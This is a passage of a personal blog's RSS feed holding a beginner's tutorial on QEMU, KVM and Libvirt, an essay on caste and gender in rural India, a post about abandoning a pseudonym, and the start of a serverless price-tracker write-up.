</content:encoded></item><item><title>Virtualization and Hypervisors :: Explaining QEMU, KVM, and Libvirt</title><link>https://sumit-ghosh.com/posts/virtualization-hypervisors-explaining-qemu-kvm-libvirt/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/virtualization-hypervisors-explaining-qemu-kvm-libvirt/</guid><description>Virtualization and Hypervisors :: Explaining QEMU, KVM, and Libvirt — by Sumit Ghosh.</description><pubDate>Mon, 07 Sep 2020 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;In this post, I will explore some core concepts and terminologies regarding virtualization in Linux systems. I intend it to serve as a reference, especially for beginners who are just getting started with virtualization and system administration in general.&lt;/p&gt;
&lt;h2 id=&quot;hypervisors&quot;&gt;Hypervisors&lt;/h2&gt;
&lt;p&gt;Virtualization, i.e., creating and running virtual machines, is handled by something called a hypervisor, which can either be software, firmware or hardware. The system on which the hypervisor runs virtual machines is called the &lt;em&gt;host&lt;/em&gt; system, and the virtual machines themselves are called &lt;em&gt;guest&lt;/em&gt; systems. The hypervisor manages and provides resources to the guest OS, and it translates system calls of the guest OS to suitable system calls or hardware interrupts in the host system.&lt;/p&gt;
&lt;p&gt;Hypervisors can be generally categorized into two types.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Type 1 hypervisor:&lt;/strong&gt; These run on bare metal and typically leverage features of the CPU specifically built for virtualization, for example, AMD-V and Intel VT-x. Examples of type 1 hypervisor are:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;KVM, which is a Linux kernel module and part of the official Linux kernel.&lt;/li&gt;
&lt;li&gt;VMWare ESXi.&lt;/li&gt;
&lt;li&gt;Microsoft Hyper-V.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Type 2 hypervisor:&lt;/strong&gt; These run on top of a host OS, and thus it translates system calls made by the guest OS to system calls made to the host OS. Type 2 virtualization is also called &lt;em&gt;emulation&lt;/em&gt;, to distinguish it from type 1 or &lt;em&gt;true&lt;/em&gt; virtualization. Examples include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;QEMU.&lt;/li&gt;
&lt;li&gt;VMWare Workstation.&lt;/li&gt;
&lt;li&gt;VirtualBox.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;differences-advantages-and-drawbacks&quot;&gt;Differences: Advantages and Drawbacks&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;In general, type 1 hypervisors are a lot faster than type 2 hypervisor.&lt;/li&gt;
&lt;li&gt;Type 1 hypervisors can only emulate the same architecture as of the host CPU. For example, it can only create VMs with x86 architecture if the machine has an x86 CPU. Type 2 hypervisors, on the other hand, emulate any and all architectures regardless of the host CPU, at least in theory.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id=&quot;qemu-and-kvm&quot;&gt;QEMU and KVM&lt;/h2&gt;
&lt;p&gt;When considered separately as standalone software, QEMU is a type 2 hypervisor, and KVM is a type 1 hypervisor, just like we already discussed. But in the specific case when,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The guest OS and the host OS has the same architecture.&lt;/li&gt;
&lt;li&gt;The host CPU supports bare-bones virtualization extensions, such as AMD-V or Intel VT-x.&lt;/li&gt;
&lt;li&gt;The host OS has KVM installed.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;QEMU can use KVM to translate the calls made to the CPU and the memory, thus turning that part of the virtualization process bare-bones or type 1. The rest of the system calls, such as calls to IO devices and disk drives, are routed through the OS, in the usual type 2 fashion. As CPU and memory calls are the most critical system calls, using KVM to handle them makes the whole process a lot faster and smoother. In this way, QEMU-KVM works in tandem to bring the best of both worlds.&lt;/p&gt;
&lt;h2 id=&quot;libvirt&quot;&gt;Libvirt&lt;/h2&gt;
&lt;p&gt;Libvirt is an open-source set of software and libraries which provide a single way to manage multiple different hypervisors, such as the QEMU, KVM, Xen, LXC, OpenVZ, VMWare ESXi, etc. It consists of a stable C API, a daemon, and command-line utilities to work with the Libvirt API. The &lt;a href=&quot;https://wiki.archlinux.org/index.php/libvirt&quot;&gt;Arch wiki page on Libvirt&lt;/a&gt; has much useful information, keep in mind that the packages and commands may not correspond well with other Linux distributions.&lt;/p&gt;
&lt;h3 id=&quot;installing-libvirt-with-qemu-kvm&quot;&gt;Installing Libvirt with QEMU-KVM&lt;/h3&gt;
&lt;p&gt;The following &lt;code&gt;apt&lt;/code&gt; packages are essential for creating and managing virtual machines using Libvirt with QEMU-KVM in an Ubuntu system.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;libvirt-daemon-system&lt;/code&gt;: The complete Libvirt distribution, i.e., the C libraries and the Libvirt daemon &lt;code&gt;libvirtd&lt;/code&gt;. It also installs the following helper packages
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;libvirt-clients&lt;/code&gt;, which is a collection of CLI utilities to interface with the Libvirt daemon.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;bridge-utils&lt;/code&gt; for networking.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;qemu-kvm&lt;/code&gt; as the default hypervisor.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;virtinst&lt;/code&gt;: For some helper utils such as &lt;code&gt;virt-install&lt;/code&gt; and &lt;code&gt;virt-viewer&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Running the following command would install the above&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ sudo apt install libvirt-daemon-system virtinst&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;creating-a-vm&quot;&gt;Creating a VM&lt;/h2&gt;
&lt;p&gt;Now that we have installed Libvirt with QEMU and KVM, I will show how we can create a VM using this. This is mostly for demonstration purposes, so I’m going to keep the process as simple and minimal as possible.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Firstly, we’ll have to create a disk image file which is to be used by the VM as its &lt;em&gt;secondary storage&lt;/em&gt; or disk. The format can be either RAW, or QCOW2—which has some very useful optimizations. For now, we’re going to go with RAW.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ qemu-img create -f raw -o size&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;10G&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; vol.raw&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;Formatting &apos;vol.raw&apos;, fmt=raw size=10737418240&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, we mentioned the image format using the &lt;code&gt;-f raw&lt;/code&gt; argument, made it have 10 GB of storage using the &lt;code&gt;size=10G&lt;/code&gt; argument, and we named the image file &lt;code&gt;vol.raw&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Once we have a disk image, we can create the VM with the disk image as its storage using the &lt;code&gt;virt-install&lt;/code&gt; command. We’ll also have to pass an installation media for installing an OS in the VM—you can use any installer image you have, I’m going to use the installer for Ubuntu Budgie 18.04.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt;sumit@HAL9000:~/Coding&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ virt-install --name&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;vm1&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; --ram&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;2048&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; --vcpus&lt;/span&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;--shiki-light:#6F42C1;--shiki-dark:#B392F0&quot;&gt; --disk&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; path=vol.raw&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; --cdrom=/home/sumit/Downloads/ubuntu-budgie-18.04.3-desktop-i386.iso&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; --os-variant&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; ubuntu18.04&lt;/span&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt; --network&lt;/span&gt;&lt;span style=&quot;--shiki-light:#032F62;--shiki-dark:#9ECBFF&quot;&gt; bridge=virbr0,model=virtio&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#005CC5;--shiki-dark:#79B8FF&quot;&gt;Starting install...&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The CLI parameters are mostly self-explanatory.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The VM name is set to be &lt;em&gt;vm1&lt;/em&gt; using the &lt;code&gt;name&lt;/code&gt; parameter.&lt;/li&gt;
&lt;li&gt;The VM is allocated 2 GB of RAM using the &lt;code&gt;ram&lt;/code&gt; parameter and a single-core virtual CPU using the &lt;code&gt;vcpus&lt;/code&gt; parameter.&lt;/li&gt;
&lt;li&gt;The disk image and installation image is supplied using the &lt;code&gt;disk&lt;/code&gt; and &lt;code&gt;cdrom&lt;/code&gt; parameters.&lt;/li&gt;
&lt;li&gt;Mentioning the &lt;code&gt;os-variant&lt;/code&gt; helps it make some OS-specific optimizations.&lt;/li&gt;
&lt;li&gt;Finally, we have to mention a network interface using the &lt;code&gt;network&lt;/code&gt; parameter so that the VM has network connectivity. Using a bridge network interface is the simplest networking model we can have, and that’s what we went with.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Once you run the &lt;code&gt;virt-install&lt;/code&gt; command like above, a &lt;code&gt;virt-viewer&lt;/code&gt; window should pop up with the installer running, go ahead and follow the installation wizard to install the OS. You can open the VM anytime later by running the following command.&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ virt-viewer vm1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Shutting down, starting, and rebooting is very easy too!&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;console&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ virsh shutdown vm1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ virsh start vm1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt;$ virsh reboot vm1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;I hope this post helped you understand the basics of virtualization and get started with it. I plan to post more tutorials exploring specific use-cases; until then, have fun tinkering around! Feel free to leave a comment below if you have any questions or feedback. You can also always drop me an e-mail or contact me on Twitter if you want to talk. Cheers!&lt;/p&gt;
&lt;h2 id=&quot;clarifications&quot;&gt;Clarifications&lt;/h2&gt;
&lt;p&gt;I got some questions and comments about this post on Reddit. I’m including the discussions here as they shed light on some nuances regarding the topics discussed above.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/selfhosted/comments/iovfht/virtualization_and_hypervisors_explaining_qemu/g4iw4vr/?utm_source=share&amp;amp;utm_medium=web2x&amp;amp;context=3&quot;&gt;Comment&lt;/a&gt; by Reddit user &lt;a href=&quot;https://www.reddit.com/user/retnikt0/&quot;&gt;retnikt0&lt;/a&gt;;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;QEMU and KVM are neither really type 1 nor type 2 hypervisors; they’re kind of somewhere in between. QEMU uses KVM so they certainly can’t be different types.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Roughly KVM can be called a type 1 hypervisor and QEMU a type 2 hypervisor, but he’s right, there’s some more nuance to that if we want to be completely correct.&lt;/p&gt;
&lt;p&gt;QEMU acts as an emulator (i.e. a type 2 hypervisor) if the KVM kernel module is not available. But when the KVM module is available, it uses that to speed up system calls, so in that case, in a way it sits halfway between type 1 and type 2 hypervisor.&lt;/p&gt;
&lt;p&gt;When we consider KVM by itself, it’s not strictly a type 1 hypervisor either, as it still is part of an OS; it’s not a complete standalone system like VMWare ESXi built to only host VMs.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.reddit.com/r/sysadmin/comments/iovht7/i_wrote_an_blog_post_explaining_the_core_concepts/g4gtr0k?utm_source=share&amp;amp;utm_medium=web2x&amp;amp;context=3&quot;&gt;Comment&lt;/a&gt; by Reddit user &lt;a href=&quot;https://www.reddit.com/user/NinjaAmbush/&quot;&gt;NinjaAmbush&lt;/a&gt;;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;You might want to explain why we’d want to use QEMU on top of KVM. I understand why having QEMU use KVM speeds up certain system calls, but it’s not clear to me why I want QEMU in this set up.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;KVM provides access to the virtualisation extensions available on x86 systems using an API. Using KVM without QEMU is certainly possible, but you’ll need to &lt;a href=&quot;https://lwn.net/Articles/658511/&quot;&gt;deal with the KVM API at extremely low-level&lt;/a&gt;. QEMU provides gives a stable interface in the form of a set of binaries to interact with KVM, and set of helper components (such as the &lt;a href=&quot;https://www.linux-kvm.org/page/Virtio&quot;&gt;virtio&lt;/a&gt; interface) so that full-fledged virtual machines can be built easily. The two projects are developed together; in the real world it’s unlikely to see KVM without QEMU, because that’s the way the developers want you to use them.&lt;/p&gt;
</content:encoded></item><item><title>Caste, Gender and Patriarchy in Rural and Semi-Rural India</title><link>https://sumit-ghosh.com/posts/caste-gender-patriarchy-in-rural-semi-rural-india/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/caste-gender-patriarchy-in-rural-semi-rural-india/</guid><description>Caste, Gender and Patriarchy in Rural and Semi-Rural India — by Sumit Ghosh.</description><pubDate>Mon, 17 Aug 2020 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;The institutions of caste, gender, and patriarchy in India are not as unambiguous as it might seem from the perspective of an outsider; complex coordination between them permeates the lives of almost everyone from the rural and semi-rural parts of India, despite the penetration of modern consumerist culture. We’re going to explore how these institutions of power interact with each other, and in turn how they make up the social order of the aforementioned parts of India.&lt;/p&gt;
&lt;h2 id=&quot;constraints-on-marriage&quot;&gt;Constraints on Marriage&lt;/h2&gt;
&lt;p&gt;As evident from many incidents from the past few decades, marriage and sexuality is tightly controlled in these societies. Marriage is almost always limited to intra-cast, the primary motivation being the solidarity of caste and the strengthening of its power. Exogamy, in this context, breaches the traditional norms, which brings shame not only to the couple but to the whole family and typically also to the extended family and caste. To make sure the younger population learns a lesson, these couples are sometimes punished inhumanely—by torture and death—which is justified according to the “law of the land.” The panchayats impose these punishments: the village panchayats, the caste panchayats, or in some cases, the larger &lt;em&gt;khap&lt;/em&gt; panchayats. The local police do not intervene in these “social” matters. The policemen are usually recruited from the upper-caste population, so they believe these matters best be left to the traditional systems of justice. The conventions of status, tradition, honour, etc are the usual rationale behind these, but underneath all those it’s almost always a form of assertion and retention of power.&lt;/p&gt;
&lt;h2 id=&quot;caste-and-gender&quot;&gt;Caste and Gender&lt;/h2&gt;
&lt;p&gt;The standards of the customs we discussed in the previous section are not uniform within the genders. The upper-caste men have a practice of taking wives from the lower-caste population, and that’s usually well tolerated; according to the folk wisdom, the women have no caste, their caste is determined by the company they keep and the family they marry into. The fact that the male to female ratio is severely imbalanced plays a role—in the rural parts there are many more males than females, so sometimes it becomes essential for men to look outside their caste for marriage prospects; otherwise, the bloodline would stop, the family heritage would be lost, the caste would grow weaker. As we can observe, the caste institutions are very closely aligned with patriarchy, and rather it’s built on top of patriarchy. The caste system is a power dynamic within the already privileged male population; women are not much more than &lt;em&gt;instruments&lt;/em&gt; from the perspective of the institution of patrilineal caste. In the next section we’ll explore how the sexuality of women is controlled and managed throughout their lives.&lt;/p&gt;
&lt;h2 id=&quot;feminine-sexuality&quot;&gt;Feminine Sexuality&lt;/h2&gt;
&lt;p&gt;The experiences of women and men in the relevant societies are very different from each other. Women are almost like a resource—an instrument—they don’t have any fixed family identity or caste identity, let alone an identity as an independent individual. Throughout various rituals of socialization performed throughout their childhood, this social reality is hammered into their psyche.&lt;/p&gt;
&lt;p&gt;A prepubescent girl isn’t treated much differently than a boy of similar age. They’re free to roam around, play with the boys, jump and laugh as they wish. As soon as they have their first menstruation, a dramatic shift occurs in their social reality. This change is signified by some specific ritual, the details of which vary from region to region, but it usually involves social isolation and a special diet. Pubescent girls are advised to stay indoors, they are required to wear saree (so that the upper body is covered properly), they aren’t allowed to eat particular “hot” or “cold” food, they are advised not to jump, talk loudly, or ride bicycles, they are taught to practice moderation and self-denial, and so on. These practices, in part, make sure the girls don’t explore their sexuality on their own, and in part, prepare them for the probable harsh environment of &lt;em&gt;sasural&lt;/em&gt; or the house of the in-laws.&lt;/p&gt;
&lt;p&gt;Throughout various festivities and rituals—like the &lt;em&gt;Durgapuja&lt;/em&gt; in West Bengal—the girls are mentally prepared and socialized to accept that they won’t be able to visit their natal home frequently once they’re married. The marriage ritual itself involves a lot of symbolism signifying the complete transfer of the bride: where the bride severs all connection with their parents and the natal home, and is completely given over to her husband and his family. This transactional nature of marriage affects the relationship between the family and daughter to a great extent: any investment into her is considered an investment just for her own sake, and moreover, for her future marital family, it is not an investment towards the natal family. That’s why girls are often given less food, less education, and overall more attention compared to the boys. Understanding this reality, the girls encourage dowry because that’s one of the ways she can gain some identity and power in &lt;em&gt;sasural&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Despite the fact that much of the population is now exposed to urbanization and modern consumerist culture, the social landscape hasn’t changed much. Only the masculine and macho parts of the urban environment have been integrated, the women’s experience remains more or less the same. As we’ve discussed, a complex interplay between caste, gender, and power maintains the status quo.&lt;/p&gt;
&lt;h2 id=&quot;references&quot;&gt;References&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[1] Chowdhry, Prem. “Enforcing Cultural Codes: Gender and Violence in Northern India.” Economic and Political Weekly, vol. 32, no. 19, 1997, pp. 1019–1028., &lt;a href=&quot;https://www.jstor.org/stable/4405393&quot;&gt;www.jstor.org/stable/4405393&lt;/a&gt;. Accessed 18 Aug. 2020.&lt;/li&gt;
&lt;li&gt;Dube, Leela. “On the Construction of Gender: Hindu Girls in Patrilineal India.” Economic and Political Weekly, vol. 23, no. 18, 1988, pp. WS11–WS19. JSTOR, &lt;a href=&quot;https://www.jstor.org/stable/4378429&quot;&gt;www.jstor.org/stable/4378429&lt;/a&gt;. Accessed 18 Aug. 2020.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>I’m Going to Use My Real Name Everywhere</title><link>https://sumit-ghosh.com/posts/im-going-to-use-my-real-name-everywhere/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/im-going-to-use-my-real-name-everywhere/</guid><description>I’m Going to Use My Real Name Everywhere — by Sumit Ghosh.</description><pubDate>Mon, 03 Aug 2020 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;In &lt;a href=&quot;https://okrefusal.com/posts/why-did-i-create-this-blog/&quot;&gt;this&lt;/a&gt; post, I mentioned that I had decided to use a pseudonym online to put out my political and philosophical thoughts. The central reason for this was the fear of being &lt;em&gt;cancelled&lt;/em&gt; and potentially hurting my career and employment. Recently I’ve been rethinking this and decided to abandon the pseudonym and use my real name instead, let me tell you why.&lt;/p&gt;
&lt;h2 id=&quot;why-im-going-to-use-my-real-name&quot;&gt;Why I’m Going to Use My Real Name&lt;/h2&gt;
&lt;p&gt;As I started rethinking the pseudonym decision, I wondered why people use anonymous accounts on the Internet. This &lt;a href=&quot;https://www.newstatesman.com/science-tech/social-media/2019/01/how-alt-anonymous-account-became-mainstream-trend-what-is-anon&quot;&gt;article&lt;/a&gt; came up in the search results, where the journalist had the same curiosity, and she went out and interviewed some people who use a pseudonym on the Internet regularly. The principle reasons that came up were&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;For awkward and socially inept teens who struggle to make friends, these alt accounts can be useful outlets; they can comfortably be themselves and be confident in their own skin.&lt;/li&gt;
&lt;li&gt;For some, the reasons are political; maybe they have some extreme political views, or maybe they just don’t want their friends and family to know their political viewpoints, and inadvertently ruin the relationships. Or it might be something more nefarious, such as &lt;a href=&quot;https://en.wikipedia.org/wiki/Sockpuppet_(Internet)&quot;&gt;sockpuppeting&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/Astroturfing&quot;&gt;astroturfing&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;For people struggling with mental health, sexual issues, or issues that have some stigma attached to it, an alt account can be a good medium to discuss these issues and explore these emotions.&lt;/li&gt;
&lt;li&gt;Sometimes people just want to vent, and they might not have a good enough support system in their life. For them, alt accounts can be space for venting and having someone to listen to.&lt;/li&gt;
&lt;li&gt;For people who have sensitive or public-facing jobs—such as government officials and political journalists—maintaining a professional image in their public social media accounts is a necessity. They can use anonymous accounts as an indulgence, for not-so-professional things.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;But for most people, the motivations for using pseudonyms boil down to some mental health or personal crisis.&lt;/p&gt;
&lt;p&gt;As I went through these, I realized that all of these are very valid reasons, but none of these applies to me. I knew that I had to clearly figure out my personal motivations for doing this whole thing—blogging, being online and putting out my thoughts out there—in the first place. Realizing that the above motivations don’t apply to me was definitely a start, because understanding what something is not can be one of the best ways to understand the thing itself. As I introspected a bit more, my motivations became clearer;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I want to &lt;strong&gt;engage in discourses&lt;/strong&gt; around political, philosophical or social issues; &lt;strong&gt;genuinely and authentically&lt;/strong&gt;. I don’t want to hide behind layers of irony all the time. I’ll admit circle-jerking and trolling might be fun sometimes, but it doesn’t get us anywhere. Most of the anonymous political Twitter I’ve seen so far end up doing just that, and I don’t want to be a part of that.&lt;/li&gt;
&lt;li&gt;But I can do the above as an anon also, why use my real name? The answer is &lt;a href=&quot;https://en.wikipedia.org/wiki/Skin_in_the_Game_(book)&quot;&gt;&lt;strong&gt;skin in the game&lt;/strong&gt;&lt;/a&gt;, if I may borrow Dr. Taleb’s term. When someone puts his contrarian ideas out there using his real identity, he has his reputation—something genuine—to lose. He has his skin in the game. And that carries a certain weight, people tend to take him more seriously.&lt;/li&gt;
&lt;li&gt;I want to &lt;strong&gt;meet interesting people&lt;/strong&gt;, get to know them, have interesting discussions, and so on. I don’t prefer the medium of the Internet for discussions, I prefer real-life conversations a lot more. The Internet is only a medium for my thoughts to be out there so that like-minded people can find me and reach out to me. And that won’t be possible if I hide behind an anonymous face.&lt;/li&gt;
&lt;li&gt;I want to &lt;strong&gt;make my online activities as less time-consuming as I can&lt;/strong&gt;. Maintaining multiple personas seems to only take up more bandwidth, and eventually, it becomes a source of stress and anxiety.&lt;/li&gt;
&lt;li&gt;Most importantly, I want to &lt;strong&gt;build a sense of personal identity&lt;/strong&gt; through all of these, these should be a process for me as well as others to get to know myself. I’m realizing that one of the main reasons I didn’t end up writing much in this blog because I subconsciously thought it was pointless, as it wasn’t getting attributed to the real me anyway.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Other than that, I mostly agree with everything Jacob Falkovich said tackling the same issue in this &lt;a href=&quot;https://putanumonit.com/2020/07/20/real-name/&quot;&gt;blog post&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id=&quot;going-forward&quot;&gt;Going forward&lt;/h2&gt;
&lt;p&gt;I’m going to keep using my eponymous website &lt;a href=&quot;https://sumit-ghosh.com&quot;&gt;sumit-ghosh.com&lt;/a&gt; for my portfolio as a software developer, and for my technical articles related to programming and computers. This blog, &lt;a href=&quot;https://okrefusal.com&quot;&gt;okrefusal.com&lt;/a&gt;, will be used as a catch-all space for more random musings; it’ll be more personal and &lt;em&gt;human&lt;/em&gt; than the former one. I’ll also move the non-technical posts I have on &lt;a href=&quot;https://sumit-ghosh.com&quot;&gt;sumit-ghosh.com&lt;/a&gt; to here.&lt;/p&gt;
&lt;p&gt;I’m going to stop using the &lt;a href=&quot;https://twitter.com/R3FS1&quot;&gt;R3FS1&lt;/a&gt; Twitter handle; &lt;a href=&quot;https://twitter.com/SkullTech101&quot;&gt;SkullTech101&lt;/a&gt; will be the de-facto space where the full, &lt;em&gt;uncompartmentalized&lt;/em&gt; me can be found. Looking forward to meet you there!&lt;/p&gt;
</content:encoded></item><item><title>Building a Serverless Price Tracker for Amazon and Flipkart using AWS</title><link>https://sumit-ghosh.com/posts/serverless-price-tracker-alert-aws/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/serverless-price-tracker-alert-aws/</guid><description>Building a Serverless Price Tracker for Amazon and Flipkart using AWS — by Sumit Ghosh.</description><pubDate>Wed, 15 Jul 2020 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;The prices on online shopping sites such as &lt;a href=&quot;http://amazon.in/&quot;&gt;Amazon&lt;/a&gt; and &lt;a href=&quot;https://www.flipkart.com/&quot;&gt;Flipkart&lt;/a&gt; change a lot, and that too quite frequently. This can be both positive and negative: on the upside, if you’re vigilant you can grab some lucrative deals, the downside is that if you’re not careful you might end up buying something at a rate higher than the normal. Tools like &lt;a href=&quot;https://keepa.com/&quot;&gt;Keepa&lt;/a&gt; can be handy in this regard, it shows you a graph of the price history of a particular product so that you can make a good decision. Keepa can even send you an alert in case the price goes down! But I’ve found Keepa can be a bit unreliable; it seems to track the prices at a much coarser granularity, as a result it can miss some short-lived deals. Also it doesn’t track all products, only the popular ones.&lt;/p&gt;
&lt;p&gt;So I decided to build something like it myself, just the bare-bones, mostly for my own usage. In this post I’m going to share in detail how I built it, including the architecture choices I made and why I made them.&lt;/p&gt;
&lt;h3 id=&quot;the-architecture-overview&quot;&gt;The Architecture Overview&lt;/h3&gt;
&lt;p&gt;Before I start explaining the application, here’s a simple architecture diagram I made of the whole setup. I’m putting it here at the start rather than the end because I just want to show what’s to come, the article will go into detail about everything.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/SkullTech/bargain/master/architecture-diagram.png&quot; alt=&quot;Bargain architecture diagram&quot;&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Note — You can find the full source code of the application on Github &lt;a href=&quot;https://github.com/SkullTech/bargain&quot;&gt;here&lt;/a&gt;, you can refer to that as you go through the article.&lt;/li&gt;
